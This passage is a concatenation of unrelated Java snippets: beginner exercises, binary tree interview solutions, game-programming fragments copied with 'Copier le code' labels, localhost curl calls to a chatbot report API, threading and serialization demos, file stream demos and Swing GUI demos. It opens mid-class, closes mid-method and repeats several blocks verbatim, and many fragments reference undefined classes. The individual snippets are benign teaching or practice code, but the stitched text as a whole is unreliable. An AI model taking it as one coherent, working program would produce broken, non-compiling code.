    this.setTitle("JTree Example");
    this.setSize(300,300);
    this.setVisible(true);
    
              
}
    public static void main(String[] args){
        new santelices_binary();
    }
}
public class Section4Method {

    /**
     * @param args the command line arguments
     */
    public static void main(String[] args) {
        //instantiate
        Calculator calc = new Calculator();
        
        calc.originalPrice = 10.00;
        System.out.print("person1:$");
        calc.findTotal();
        
        calc.originalPrice = 12.00;
        System.out.print("person2:$");
        calc.findTotal();
        
        calc.originalPrice = 9.00;
        System.out.print("person3:$");
        calc.findTotal();
        
        calc.originalPrice = 8.00;
        System.out.print("person4:$");
        calc.findTotal();
        
        calc.originalPrice = 7.00;
        System.out.print("person5:$");
        calc.findTotal();
        
        calc.originalPrice = 15.00;
        System.out.print("person6:$");
        calc.findTotal();
        
        calc.originalPrice = 11.00;
        System.out.print("person7:$");
        calc.findTotal();
        
        calc.originalPrice = 30.00;
        System.out.print("person8:$");
        calc.findTotal();
    }
    
}



////PUBLIC CLASS CALCULATOR
public class Calculator {
    //public to be access main
    public double tax = .05;
    public double tip = .15;
    public double originalPrice = 0.0;
    
    public void findTotal(){//2 paremeters of price and string name
        double total = originalPrice * (1 + tax + tip);
        System.out.println(total);
        
    }
    
}
public class Section4 {

    /**
     * @param args the command line arguments
     */
    public static void main(String[] args) {
        double tax= .05;
        double tip= .15;
        double person1=10.00;
        double person2=12.00;
        double person3=9.00;
        double person4=8.00;
        double person5=7.00;
        double person6=15.00;
        double person7=11.00;
        double person8=30.00;
        
        
       System.out.println("Person1:$" + person1 * (1+tip+tax));
       System.out.println("Person2:$" + person2 * (1+tip+tax));
       System.out.println("Person3:$" + person3 * (1+tip+tax));
       System.out.println("Person4:$" + person4 * (1+tip+tax));
       System.out.println("Person5:$" + person5 * (1+tip+tax));
       System.out.println("Person6:$" + person6 * (1+tip+tax));
       System.out.println("Person7:$" + person7 * (1+tip+tax));
       System.out.println("Person8:$" + person8 * (1+tip+tax));
        
        
        
        
    }
    
}
import java.util.Scanner;
public class etudiant{
    String nom,pren;
    int id;
    etudiant(String n,String p,int id){
        this.nom=n;
        this.pren=p;
        this.id=id;
    }
    void afficher(){
        System.out.println("le nom :" + this.nom +"\n le prenom :" + this.pren+ "\n le id :" + this.id);
    }

    public static void main(String []args){
        etudiant E1=new etudiant("sahar","mess",12906031);
        E1.afficher();
    }
    
}
import java.util.Scanner;
public class java{
    public static void main(String [] args){
        Scanner sa=new Scanner (System.in);
      String ch,ch1;
      int l;
      ch1="";
      System.out.println("donner la chaine : \n");
      ch=sa.nextLine();
      l=ch.length();
      l=l-1;
      do{
          ch1=ch1+ch.charAt(l);
          l=l-1;
      }while(l>=0);
      System.out.println(ch1);
      
      } 
    }
import java.util.*; 
import java.io.*;

class Main {
   public static String CodelandUsernameValidation(String str) {
    // code goes here 

    if(str.length() < 4 || str.length() > 25 || Character.isLetter(str.charAt(0)) == false || str.charAt(str.length()-1) == '_') {
      return "false";
    } 
    else{
      for(int i=0;i<str.length();i++){
        if(Character.isLetter(str.charAt(i)) || Character.isDigit(str.charAt(i)) || str.charAt(i) == '_'){
          continue;
        }
        else{
          return "false";
        }
      }
    }
    return "true";
    
  }

  public static void main (String[] args) {  
    // keep this function call here     
    Scanner s = new Scanner(System.in);
    System.out.print(CodelandUsernameValidation(s.nextLine())); 
  }

}

  
curl --location 'localhost:9091/chatbot/report/update-data-job' \
--header 'Content-Type: application/json' \
--data '{
    "start_date":"25/01/2024",
    "end_date":"20/08/2024"
}'

curl --location 'localhost:9091/chatbot/report/update-analytic-user' \
--header 'Content-Type: application/json' \
--data '{
    "start_date":"25/01/2024",
    "end_date":"20/08/2024"
}'

Convert a non-negative integer num to its English words representation.
class Solution {
    public static ArrayList<ArrayList<Integer>> Paths(Node root) {
        // code here
        
        ArrayList<ArrayList<Integer>> result = new ArrayList<>();
        
        pathToLeaf(root,result,new ArrayList<>());
        
        return result;
    }
    
    
    private  static void pathToLeaf(Node node, List<ArrayList<Integer>> result, ArrayList<Integer> sub){
        if(node == null){
            return;
        }
        
        sub.add(node.data);
        
        if(node.left==null && node.right == null){
            result.add(new ArrayList<>(sub));
        }
        
        pathToLeaf(node.left,result,sub);
        pathToLeaf(node.right,result,sub);
        sub.remove(sub.size()-1);
    }
    
}
        

// } Driver Code Ends


//User function Template for Java


class Solution
{
    //Function to return a list containing the bottom view of the given tree.
    public ArrayList <Integer> bottomView(Node root)
    {
        // Code here
        
        Queue<Pair> q = new ArrayDeque<>();
        
        TreeMap<Integer,Integer> mpp=new TreeMap<>();
        
        q.add(new Pair(0,root));
        
        while(!q.isEmpty()){
            Pair curr = q.poll();
            mpp.put(curr.hd,curr.node.data);
            
            if(curr.node.left!=null){
                q.add(new Pair(curr.hd-1,curr.node.left));
            }
            if(curr.node.right!=null){
                q.add(new Pair(curr.hd+1,curr.node.right));
            }
        }
        
        
        ArrayList<Integer> res = new ArrayList<>();
        
        for(Map.Entry<Integer,Integer> entry: mpp.entrySet()){
            res.add(entry.getValue());
        }
        
        
        return res;
        
        
        
    }
    
    
    static class Pair{
        int hd;
        Node node;
        
        public Pair(int hd,Node node){
            this.hd=hd;
            this.node = node;
        }
    }
    
    
}
 class Solution{
    //Function to return a list containing the bottom view of the given tree.
    public ArrayList <Integer> bottomView(Node root){
        // Code here
        
         
    
        // Code here
        
        Queue<Pair> q = new ArrayDeque<>();
        
        TreeMap<Integer,Integer> mpp=new TreeMap<>();
        
        q.add(new Pair(0,root));
        
        while(!q.isEmpty()){
            Pair curr = q.poll();
            mpp.put(curr.hd,curr.node.data);
            
            if(curr.node.left!=null){
                q.add(new Pair(curr.hd-1,curr.node.left));
            }
            if(curr.node.right!=null){
                q.add(new Pair(curr.hd+1,curr.node.right));
            }
        }
        
        
        ArrayList<Integer> res = new ArrayList<>();
        
        for(Map.Entry<Integer,Integer> entry: mpp.entrySet()){
            res.add(entry.getValue());
        }
        
        
        return res;
        
        
        
    }
    
    static class Pair{
        int hd;
        Node node;
        
        public Pair(int hd,Node node){
            this.hd=hd;
            this.node = node;
        }
    }
    
    
    
    
    
    
}           
                        
//User function Template for Java

/* A Binary Tree node
class Node
{
    int data;
    Node left, right;

    Node(int item)
    {
        data = item;
        left = right = null;
    }
}*/
class Tree
{
    //Function to return list containing elements of left view of binary tree.
    ArrayList<Integer> leftView(Node root)
    {
      // Your code here
      
      ArrayList<Integer> res = new ArrayList<>();
      int level =0;
      
      leftView(root,res,level);
      
      return res;
    }
    
    
    private void leftView(Node node , List<Integer> res,int level){
        if(node == null){
            return;
        }
        
        if(level ==res.size()){
            res.add(node.data);
        }
        
        leftView(node.left,res,level+1);
        leftView(node.right,res,level+1);
    }
    
    
    
}
/**
 * Definition for a binary tree node.
 * public class TreeNode {
 *     int val;
 *     TreeNode left;
 *     TreeNode right;
 *     TreeNode() {}
 *     TreeNode(int val) { this.val = val; }
 *     TreeNode(int val, TreeNode left, TreeNode right) {
 *         this.val = val;
 *         this.left = left;
 *         this.right = right;
 *     }
 * }
 */
class Solution {
    ArrayList<Integer> res = new ArrayList<>();
    public List<Integer> postorderTraversal(TreeNode root) {
        postOrder(root);
        return res;
    }

    private void postOrder(TreeNode root){
        if(root == null){
            return;
        }
        postOrder(root.left);
        postOrder(root.right);
        res.add(root.val);
    }
}
/**
 * Definition for a binary tree node.
 * public class TreeNode {
 *     int val;
 *     TreeNode left;
 *     TreeNode right;
 *     TreeNode() {}
 *     TreeNode(int val) { this.val = val; }
 *     TreeNode(int val, TreeNode left, TreeNode right) {
 *         this.val = val;
 *         this.left = left;
 *         this.right = right;
 *     }
 * }
 */
class Solution {
    public List<Integer> preorderTraversal(TreeNode root) {

        List<Integer> res = new ArrayList<>();

        preOrder(root,res);

        return res;
        
    }


    private void preOrder(TreeNode node,List<Integer> res){
        if(node == null){
            return;
        }

        res.add(node.val);
        preOrder(node.left,res);
        preOrder(node.right,res);



    }
}
/**
 * Definition for a binary tree node.
 * public class TreeNode {
 * int val;
 * TreeNode left;
 * TreeNode right;
 * TreeNode() {}
 * TreeNode(int val) { this.val = val; }
 * TreeNode(int val, TreeNode left, TreeNode right) {
 * this.val = val;
 * this.left = left;
 * this.right = right;
 * }
 * }
 */
class Solution {
    public List<Integer> inorderTraversal(TreeNode root) {

        ArrayList<Integer> res = new ArrayList<>();
        inOrder(root, res);
        return res;

    }

    private void inOrder(TreeNode node, List<Integer> res) {
        if (node == null) {
            return;
        }

        inOrder(node.left, res);
        res.add(node.val);
        inOrder(node.right, res);
    }
}
import java.util.Scanner;

public class Test {
    public static void main(String[] args) {
        
        int n = 4;
        int m =5;
        
        // outer loop
        for (int i = 1; i <=n ; i++) {
            // inner loop
            for (int j = 1; j <= m; j++) {
                if (i==1 || i==n || j==1 || j==m) {
                    System.out.print("*");
                }
                else {
                    System.out.print(" ");
                }

            }
            System.out.println();
           
        }
        
    }
}
class Player {
    private int health = 100;

    public void takeDamage(int damage) {
        health -= damage;
        if (health <= 0) {
            die();
        }
    }

    private void die() {
        System.out.println("Player has died.");
        // Additional death logic
    }
}
Example: Score System
java
Copier le code
class Game {
    private int score = 0;

    public void increaseScore(int points) {
        score += points;
        System.out.println("Score: " + score);
    }
}
Example: Power-Ups
java
Copier le code
class PowerUp {
    public void applyTo(Player player) {
        player.increaseSpeed();
    }
}

class Player {
    private int speed = 5;

    public void increaseSpeed() {
        speed += 2;
    }

    public void pickUpPowerUp(PowerUp powerUp) {
        powerUp.applyTo(this);
    }
}
Example: Collectibles
java
Copier le code
class Player {
    private List<Item> inventory = new ArrayList<>();
    private int score = 0;

    public void collect(Item item) {
        inventory.add(item);
        score += item.getPoints();
    }
}

class Item {
    private int points;

    public int getPoints() {
        return points;
    }
}
Example: Level System
java
Copier le code
class Game {
    private List<Level> levels;
    private Level currentLevel;

    public void loadLevel(int levelNumber) {
        currentLevel = levels.get(levelNumber);
    }
}
Example: Particle Effects
java
Copier le code
class Game {
    private List<Particle> particles = new ArrayList<>();

    public void createExplosion(int x, int y) {
        particles.add(new Explosion(x, y));
    }
}

class Particle {
    // Particle implementation
}

class Explosion extends Particle {
    public Explosion(int x, int y) {
        // Explosion effect implementation
    }
}
Example: Sound Effects
java
Copier le code
class SoundManager {
    public static void playSound(String soundFile) {
        // Play sound implementation
    }
}
Example: Background Music
java
Copier le code
class MusicManager {
    public static void playBackgroundMusic(String musicFile) {
        // Play background music implementation
    }
}
Example: Saving/Loading
java
Copier le code
class SaveManager {
    public void save(GameState gameState, String saveFile) {
        // Save game state implementation
    }

    public GameState load(String saveFile) {
        // Load game state implementation
        return new GameState();
    }
}

class GameState {
    // Game state implementation
}
Example: Multiplayer
java
Copier le code
class Game {
    private List<Player> players = new ArrayList<>();

    public void addPlayer(Player player) {
        players.add(player);
    }
}
Example: Inventory System
java
Copier le code
class Player {
    private List<Item> inventory = new ArrayList<>();

    public void addItemToInventory(Item item) {
        inventory.add(item);
    }
}
Example: Dialog System
java
Copier le code
class DialogBox {
    public void show(String text) {
        // Display dialog implementation
    }
}
Example: Pathfinding
java
Copier le code
class PathFinder {
    public List<Point> find(int startX, int startY, int targetX, int targetY) {
        // Pathfinding algorithm implementation
        return new ArrayList<>();
    }
}
Example: Animations
java
Copier le code
class AnimatedSprite {
    private int currentFrame = 0;
    private Image[] animationFrames;

    public void animate() {
        currentFrame = (currentFrame + 1) % animationFrames.length;
    }
}
    @Override
    public List<HumanAgent> findByBotIdAndStatus(String botId, String status) {
        List<HumanAgent> humanAgents = new ArrayList<>();
        try {
            Query query = new Query().addCriteria(Criteria.where("bot_id").is(botId))
                    .addCriteria(Criteria.where("status").is(status));
            humanAgents = mongoTemplate.find(query, HumanAgent.class);
            log.info("find HumanAgent by botId {}, status {},  have size {}",
                    botId, status, humanAgents.size());
        }catch (Exception ex){
            log.error("ERROR {}", ExceptionUtils.getStackTrace(ex));
        }
        return humanAgents;
    }
Producer-Consumer Inter-thread communication

Table.java 

public class Table
{
	private String obj;
	private boolean empty = true;
	 
	public synchronized void put(String obj)
	{  
	   if(!empty)
	    {   try
		    {  wait();
			}catch(InterruptedException e)
			{ e.printStackTrace(); }
		}
				
		this.obj = obj; 
		empty = false;
		System.out.println(Thread.currentThread().getName()+" has put "+obj);
		notify();
		
	}
	
	public synchronized void get()
	{   
	    if(empty)
	    {   try
		    {   wait();
			}catch(InterruptedException e)
			{ e.printStackTrace(); }
		}
		
		empty = true;
		System.out.println(Thread.currentThread().getName()+" has got "+obj);
		notify();		
	}
	
	public static void main(String[] args)
	{
		Table table = new Table();
		
		Runnable p = new Producer(table);
		Runnable c = new Consumer(table);
		
		Thread pthread = new Thread(p, "Producer");
		Thread cthread = new Thread(c, "Consumer");
		
		pthread.start(); cthread.start();
		
		try{ pthread.join(); cthread.join(); }
		catch(InterruptedException e){ e.printStackTrace(); }
	}
}

Producer.java

public class Producer implements Runnable
{   private Table table;

	public Producer(Table table)
	{ this.table = table; }
	
	public void run()
	{   java.util.Scanner scanner = new java.util.Scanner(System.in);
		for(int i=1; i <= 5; i++)
		{   System.out.println("Enter text: ");
	        table.put(scanner.next());	
            try{ Thread.sleep(1000); }	
			catch(InterruptedException e){ e.printStackTrace(); }		
		}
	}
}

Consumer.java

public class Consumer implements Runnable
{   
	private Table table;

	public Consumer(Table table)
	{ this.table = table; }
	
	public void run()
	{   for(int i=1; i <= 5; i++){ 
			table.get();
		}
		
	}
}

Inter-thread Synchronization example

Users.java


public class Users implements Runnable
{   private Account ac;
    
    public Users(Account ac)
    { this.ac = ac; }
	
    public void run()
    {   
        Thread t = Thread.currentThread();
         
        String name = t.getName();
		for(int i=1; i<=5; i++)
		{
			if (name.equals("John"))
			{  ac.deposit(200); } 
			if (name.equals("Mary"))
			{  ac.withdraw(200); }
		}
    }
}

Account.java

public class Account 
{   private double balance;
    
    public Account(double startBalance)
    { this.balance = startBalance; }
    	
    public   synchronized   void deposit(double amount)
    { Thread t = Thread.currentThread();
	  double bal = this.getBalance(); bal += amount;
	  try{ Thread.sleep(1000); }
      catch(InterruptedException ie)
      { ie.printStackTrace();  }
	  this.balance = bal;
	  System.out.println(t.getName() + " has deposited "+amount); }

    public  synchronized void withdraw(double amount)
    {   Thread t = Thread.currentThread();
        if (this.getBalance()>=amount)
        {   try{ Thread.sleep(1000); }
            catch(InterruptedException ie)
            { ie.printStackTrace();  }
            this.balance -= amount;
            System.out.println(t.getName() + " has withdrawn "+amount);
        }         
    }

    public double getBalance() {   return this.balance; }
}



AcTest.java

public class AcTest
{
    public static void main(String[] args)
    {
        Account a = new Account(5000);
        System.out.println("Current balance: "+a.getBalance());

        Runnable john = new Users(a); Runnable mary = new Users(a);

        Thread t1 = new Thread(john,"John");  Thread t2 = new Thread(mary,"Mary");
        t1.start(); t2.start();
        try{
            t1.join(); t2.join();
        }catch(InterruptedException ie)
        { ie.printStackTrace(); 
        }
        System.out.println("Current balance: "+a.getBalance());
    }
}

Synchronization another example     

Sync.java

public class Sync implements Runnable
{   private Display d;
    private String message;
	public Sync(Display d, String message)
	{ this.d = d; this.message = message; }
	
	public void run()
	{  synchronized(d)
         {      // or syncronize the show method
			d.show(this.message); 
	   }
	}
	
	public static void main(String[] args)
	{   Display d = new Display();
		Runnable r1 = new Sync(d, "First Message");  Runnable r2 = new Sync(d, "Second Message");
		Runnable r3 = new Sync(d, "Third message");
		Thread t1 = new Thread(r1); Thread t2 = new Thread(r2); Thread t3 = new Thread(r3);
		t1.start(); t2.start();t3.start();
	}
}





class Display
{    // 	public synchronized void show(String message)
	public void show(String message)   
	{
		System.out.print("{ " + message);
		try{  Thread.sleep(500); }
		catch(InterruptedException e){ e.printStackTrace(); }
		System.out.println(" }");
	}
	
}
Serialization program with 3 files

import java.io.*;

public class Student implements Serializable
{
	private int id;
	private String name;
	private double percentage;
	
	// use transient and static variables to check if they are saved
	
	public Student(int id, String name, double percentage)
	{
		this.id = id;
		this.name = name;
		this.percentage = percentage;
	}
	
	public String toString()
	{
		return "ID: "+this.id+", Name: "+this.name+", Percentage: "+this.percentage;
	}
}





import java.io.*;

public class SerializationDemo
{
	public static void main(String[] args)
	{
		try(FileOutputStream fos = new FileOutputStream("serial.txt");
		    ObjectOutputStream out = new ObjectOutputStream(fos);
		   )
		   {   System.out.println("Creating a student");
			   Student s = new Student(100, "John", 98.56);
			   System.out.println(s);
			   out.writeObject(s);
			   System.out.println("Object serialized");
		   }
		   catch(FileNotFoundException fe){ fe.printStackTrace();}
		   catch(IOException ie){ ie.printStackTrace(); }
	}
}

import java.io.*;

public class DeserializationDemo
{
	public static void main(String[] args)
	{
		try(FileInputStream fis = new FileInputStream("serial.txt");
		    ObjectInputStream in = new ObjectInputStream(fis);
		   )
		   {   System.out.println("Restoring the object");
			   Student s = (Student)in.readObject();
			   System.out.println(s);
			   System.out.println("Deserialization Done");
		   }
		   catch(ClassNotFoundException ce){ ce.printStackTrace();}
		   catch(IOException ie){ ie.printStackTrace(); }
	}
}
import java.io.*;

public class DirList
{
	public static void main(String[] args)
	{	File f = new File(args[0]);
		if(f.isDirectory())
		{	String[] files = f.list();
			for(String each: files)
				System.out.println(each);
		}
		File f1 = new File(f,"/sub");
		f1.mkdir();
	}
}

import java.io.*;

public class ConsoleDemo
{
	public static void main(String[] args)
	{   		 
		Console c = System.console();
		if(c == null)
			return;
		String s = c.readLine("Enter a String: ");
		char[] p = c.readPassword("Enter a Password: ");
		String pw = String.valueOf(p);
		System.out.println("Entered Details: "+s+", "+pw);
	}
}
import java.io.*;

public class FileDemo
{
	public static void main(String[] args)
	{
		File f = new File("sample.txt");
		
		System.out.println("File name: "+f.getName());
		System.out.println("Path: "+f.getPath());
		System.out.println("Absolute path: "+f.getAbsolutePath());
		System.out.println("Parent: "+f.getParent());
		System.out.println("Exists? "+f.exists());
		System.out.println("Writable? "+f.canWrite());
		System.out.println("Readable? "+f.canRead());
		System.out.println("Directory? "+f.isDirectory());
		System.out.println("File? "+f.isFile());
		System.out.println("Last modified: "+f.lastModified());
		System.out.println("Length: "+f.length()+" bytes");
		
		//File r = new File("Newsample.txt");
		//System.out.println("Renamed? "+f.renameTo(r));
		/* the delete() method is used to delete a file or an empty directory*/ 
		
		//f.delete();
      	// other methods
		System.out.println("Free space: "+f.getFreeSpace());
		System.out.println("Total space: "+f.getTotalSpace());
		System.out.println("Usable space: "+f.getUsableSpace());
		System.out.println("Read-only: "+f.setReadOnly());
		
		
	}
}
import java.io.*;

public class BufferedReaderDemo
{
	public static void main(String[] args)
	{   
		try(FileReader fis = new FileReader("BufferedReaderDemo.java");
		    BufferedReader bis = new BufferedReader(fis);
		   )
		{  int c;
		   while((c=bis.read()) != -1)
		   { System.out.print((char)c);
		   }
		}
		catch(IOException ie){ ie.printStackTrace();}
	}
}

import java.io.*;

public class BufferedWriterDemo
{
	public static void main(String[] args)
	{   
		try(FileReader fr = new FileReader("BufferedWriterDemo.java");
		    BufferedReader br = new BufferedReader(fr);
			FileWriter fw = new FileWriter("target.txt");
			BufferedWriter bw = new BufferedWriter(fw);
		   )
		{  int c;
		   while((c=br.read()) != -1)
		   { bw.write((char)c);
		   }
		   
		}
		catch(IOException ie)
		{ ie.printStackTrace();}
	}
}
import java.io.*;

public class CharArrayReaderDemo
{
	public static void main(String[] args)
	{
		String s = "abcdefghijklmnopqrstuvwxyz";
		char[] c = new char[s.length()];
		s.getChars(0, s.length(), c, 0);
		
		try(CharArrayReader car = new CharArrayReader(c))
		{	int i;
			while((i = car.read()) != -1)
				System.out.print((char)i);
		}		catch(IOException ie){ ie.printStackTrace(); }
	}
}
import java.io.*;

public class CharArrayWriterDemo
{
	public static void main(String[] args)
	{
		String s = "abcdefghijklmnopqrstuvwxyz";
		
		CharArrayWriter bas = new CharArrayWriter();
		char[] a = new char[s.length()];
		s.getChars(0, s.length(), a, 0);
		
		try{ bas.write(a); }
		catch(IOException ie){ ie.printStackTrace(); }
				  
		char[] b = bas.toCharArray();
		for(int c: b)
			System.out.print((char)c);
		System.out.println();
	}
}
import java.io.*;

public class FileReaderDemo
{
	public static void main(String[] args)
	{
		try(FileReader fr = new FileReader("FileReaderDemo.java"))
		{
			int c;
			while((c=fr.read())!= -1)
				System.out.print((char)c);
		}
		catch(IOException ie){ ie.printStackTrace(); }
	}
}

import java.io.*;

public class FileWriterDemo
{
	public static void main(String[] args)
	{
		try(FileReader fr = new FileReader("FileWriterDemo.java");
		    FileWriter fw = new FileWriter("Test2.dat");
		)
		{
			int c;
			while((c=fr.read())!= -1)
				fw.write((char)c);
		}
		catch(IOException ie){ ie.printStackTrace(); }
	}
}
import java.io.*;

public class ByteArrayInputStreamDemo
{
	public static void main(String[] args)
	{
		String s = "abcdefghijklmnopqrstuvwxyz";
		byte[] b = s.getBytes();
		ByteArrayInputStream bas = new ByteArrayInputStream(b);
		for(int i=0; i<2;i++)
		{
			int c;
			while((c=bas.read()) != -1)
			{
				if(i==0)
					System.out.print((char)c);
				else
					System.out.print(Character.toUpperCase((char)c));
			}
			System.out.println();
			bas.reset();
		}
	}
}
import java.io.*;

public class ByteArrayOutputStreamDemo
{
	public static void main(String[] args)
	{
		String s = "abcdefghijklmnopqrstuvwxyz";
		
		ByteArrayOutputStream bas = new ByteArrayOutputStream();
		bas.writeBytes(s.getBytes()); 
		  
		byte[] b = bas.toByteArray();
		for(int c: b)
			System.out.print((char)c);
		System.out.println();
	}
}
import java.io.*;

public class BufferedOutputStreamDemo
{
	public static void main(String[] args)
	{   
		try(FileInputStream fis = 
                     new FileInputStream("BufferedInputStreamDemo.java");
		    BufferedInputStream bis = new BufferedInputStream(fis);
			FileOutputStream fos = new FileOutputStream("target.txt");
			BufferedOutputStream bos = new BufferedOutputStream(fos);
		   )
		{  int c;
		   while((c=bis.read()) != -1)
		   { bos.write((char)c);
		   }
		   
		}
		catch(IOException ie)
		{ ie.printStackTrace();}
	}
}
import java.io.*;

public class BufferedInputStreamDemo
{
	public static void main(String[] args)
	{   
		try(FileInputStream fis = 
                        new FileInputStream("BufferedInputStreamDemo.java");
		    BufferedInputStream bis = new BufferedInputStream(fis);
		   )
		{  int c;
		   while((c=bis.read()) != -1)
		   { System.out.print((char)c);
		   }
		   
		}
		catch(IOException ie)
		{ ie.printStackTrace();}
	}
}
import java.io.*;

public class FileOutputStreamDemo
{
	public static void main(String[] args)
	{   FileOutputStream fos = null;
	    FileInputStream  fis = null;
	    try{
			fis = new FileInputStream("FileOutputStreamDemo.java");
			fos = new FileOutputStream("out.txt");
			
			int c = fis.read();
			while(c != -1)
			{   fos.write((char)c);
				c = fis.read();
			}
		}
		catch(IOException ie)
		{ ie.printStackTrace(); }
		finally
		{   try 
			{    if(fis != null)
					fis.close();
			}catch(IOException ie){ ie.printStackTrace(); }
			try 
			{    if(fos != null)
					fos.close();
			}catch(IOException ie){ ie.printStackTrace(); } 
		}		
	}
}

import java.io.*;

public class FileOutputStreamDemo2
{
	public static void main(String[] args)
	{   
	    try(FileInputStream fis = 
                           new FileInputStream("FileOutputStreamDemo2.java");
	        FileOutputStream  fos = new FileOutputStream("out2.txt", true);
		   )
		{   int c = fis.read();
			while(c != -1)
			{   fos.write((char)c);
				c = fis.read();
			}
		}
		catch(IOException ie)	{ ie.printStackTrace(); }
	}
}
import java.io.*;

public class FileInputStreamDemo
{
	public static void main(String[] args)
	{   FileInputStream fis = null;
	    try{
			fis = new FileInputStream("FileInputStreamDemo.java");
			System.out.println("Available data: "+fis.available()+
                                   " bytes.");
			int c = fis.read();
			while(c != -1)
			{   System.out.print((char)c);
				c = fis.read();
			}
		}
		catch(IOException ie)
		{ ie.printStackTrace(); }
		finally{
			try
			{   if(fis != null)
					fis.close();
			}
			catch(IOException ie)
			{ ie.printStackTrace(); }
		}		
	}
}


import java.io.*;

public class FileInputStreamDemo2
{
	public static void main(String[] args)
	{   // try-with-resources statement  
	    try(FileInputStream fis = 
                   new FileInputStream("FileInputStreamDemo2.java"))
		{
			System.out.println("Available data: "+fis.available()+
                                   " bytes.");
			int c;
			while((c = fis.read()) != -1)
			{   System.out.print((char)c);
				//c = fis.read();
			}
		}
		catch(IOException ie)
		{ ie.printStackTrace(); }
	}
}
import java.io.*;

public class FileOutputStreamDemo
{
	public static void main(String[] args)
	{   FileOutputStream fos = null;
	    FileInputStream  fis = null;
	    try{
			fis = new FileInputStream("FileOutputStreamDemo.java");
			fos = new FileOutputStream("out.txt");
			
			int c = fis.read();
			while(c != -1)
			{   fos.write((char)c);
				c = fis.read();
			}
		}
		catch(IOException ie)
		{ ie.printStackTrace(); }
		finally
		{   try 
			{    if(fis != null)
					fis.close();
			}catch(IOException ie){ ie.printStackTrace(); }
			try 
			{    if(fos != null)
					fos.close();
			}catch(IOException ie){ ie.printStackTrace(); } 
		}		
	}
}

import java.io.*;

public class FileOutputStreamDemo2
{
	public static void main(String[] args)
	{   
	    try(FileInputStream fis = 
                           new FileInputStream("FileOutputStreamDemo2.java");
	        FileOutputStream  fos = new FileOutputStream("out2.txt", true);
		   )
		{   int c = fis.read();
			while(c != -1)
			{   fos.write((char)c);
				c = fis.read();
			}
		}
		catch(IOException ie)	{ ie.printStackTrace(); }
	}
}
import java.io.*;

public class FileInputStreamDemo
{
	public static void main(String[] args)
	{   FileInputStream fis = null;
	    try{
			fis = new FileInputStream("FileInputStreamDemo.java");
			System.out.println("Available data: "+fis.available()+
                                   " bytes.");
			int c = fis.read();
			while(c != -1)
			{   System.out.print((char)c);
				c = fis.read();
			}
		}
		catch(IOException ie)
		{ ie.printStackTrace(); }
		finally{
			try
			{   if(fis != null)
					fis.close();
			}
			catch(IOException ie)
			{ ie.printStackTrace(); }
		}		
	}
}


import java.io.*;

public class FileInputStreamDemo2
{
	public static void main(String[] args)
	{   // try-with-resources statement  
	    try(FileInputStream fis = 
                   new FileInputStream("FileInputStreamDemo2.java"))
		{
			System.out.println("Available data: "+fis.available()+
                                   " bytes.");
			int c;
			while((c = fis.read()) != -1)
			{   System.out.print((char)c);
				//c = fis.read();
			}
		}
		catch(IOException ie)
		{ ie.printStackTrace(); }
	}
}
TextDemo.java

import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.event.*;

public class TextDemo implements ActionListener
{
    private JFrame frame;
	private JTextField tf1, tf2, tf3;
	private JTextArea ta;
	private JLabel label, label2;
	private JButton b;

	public TextDemo()
	{
		frame = new JFrame("A Simple Swing App");

		//frame.setSize(600, 400);
		Toolkit tk = frame.getToolkit();
		Dimension dim = tk.getScreenSize();
		int width = (int)dim.getWidth();
		int height = (int)dim.getHeight();
		frame.setSize(width, height);

		frame.setLayout(new FlowLayout());

		tf1 = new JTextField("Enter the name", 25); tf2 = new JTextField(20); tf3 = new JTextField("Enter a value");
		tf1.setFont(new Font("Verdana", Font.BOLD, 18));
		tf2.setFont(new Font("Verdana", Font.BOLD, 18));
		tf3.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(tf1); frame.add(tf2); frame.add(tf3);
		//tf1.addActionListener(this); tf2.addActionListener(this); tf3.addActionListener(this);

		ta = new JTextArea(20, 15);
		ta.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(ta);

		label = new JLabel();
		label.setFont(new Font("Verdana", Font.BOLD, 18));
		label.setForeground(Color.RED);
		frame.add(label);

		label2 = new JLabel();
		label2.setFont(new Font("Verdana", Font.BOLD, 18));
		label2.setForeground(Color.green);
		frame.add(label2);

		b = new JButton("Display");
		b.addActionListener(this);
		frame.add(b);

		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		frame.setVisible(true);
	}

	public void actionPerformed(ActionEvent ae)
	{   String message ="";
		message += tf1.getText()+": ";
		message += tf2.getText()+": ";
		message += tf3.getText()+": ";
		label.setText(message);
		label2.setText(ta.getText());
	}

	public static void main(String[] args)
	{   new TextDemo();
	}
}
ListDemo.java

import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.event.*;

public class ListDemo implements ListSelectionListener
{
    private JFrame frame;
	private JList<String> list;
	private JLabel label;
	private JToolTip tip;

	public ListDemo()
	{
		frame = new JFrame("A Simple Swing App");

		//frame.setSize(600, 400);
		Toolkit tk = frame.getToolkit();
		Dimension dim = tk.getScreenSize();
		int width = (int)dim.getWidth();
		int height = (int)dim.getHeight();
		frame.setSize(width, height);

		frame.setLayout(new FlowLayout());

		String[] months = {"January", "February", "March", "April", "May", "June", "July", "August",
		                   "September", "October", "November", "December"};
		list = new JList<String>(months);
		list.addListSelectionListener(this);
		frame.add(list);

		//JScrollPane sp = new JScrollPane(list);
		//frame.add(sp);

		label = new JLabel("I show the selected Date");
		label.setFont(new Font("Verdana", Font.BOLD, 18));
		label.setForeground(Color.RED);
		frame.add(label);

		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		frame.setVisible(true);
	}

	public void valueChanged(ListSelectionEvent ae)
	{   String message = "";
	    for(String each: list.getSelectedValuesList())
			message += each +" ";
		label.setText(message);
	}

	public static void main(String[] args)
	{   new ListDemo();
	}
}
ComboBoxDemo2.java

import java.awt.*;
import java.awt.event.*;
import javax.swing.*;

public class ComboBoxDemo2 implements ActionListener
{
    private JFrame frame;
	private JComboBox cb1, cb2, cb3;
	private JLabel label;

	public ComboBoxDemo2()
	{
		frame = new JFrame("A Simple Swing App");

		//frame.setSize(600, 400);
		Toolkit tk = frame.getToolkit();
		Dimension dim = tk.getScreenSize();
		int width = (int)dim.getWidth();
		int height = (int)dim.getHeight();
		frame.setSize(width, height);

		frame.setLayout(new FlowLayout());

		String[] months = {"January", "February", "March", "April", "May", "June", "July", "August",
		                   "September", "October", "November", "December"};
		cb1 = new JComboBox(); cb2 = new JComboBox(months); cb3 = new JComboBox();

		for(int i = 1; i<=31; i++){ cb1.addItem(i); }
		for(int i = 1970; i<2048; i++){ cb3.addItem(i); }

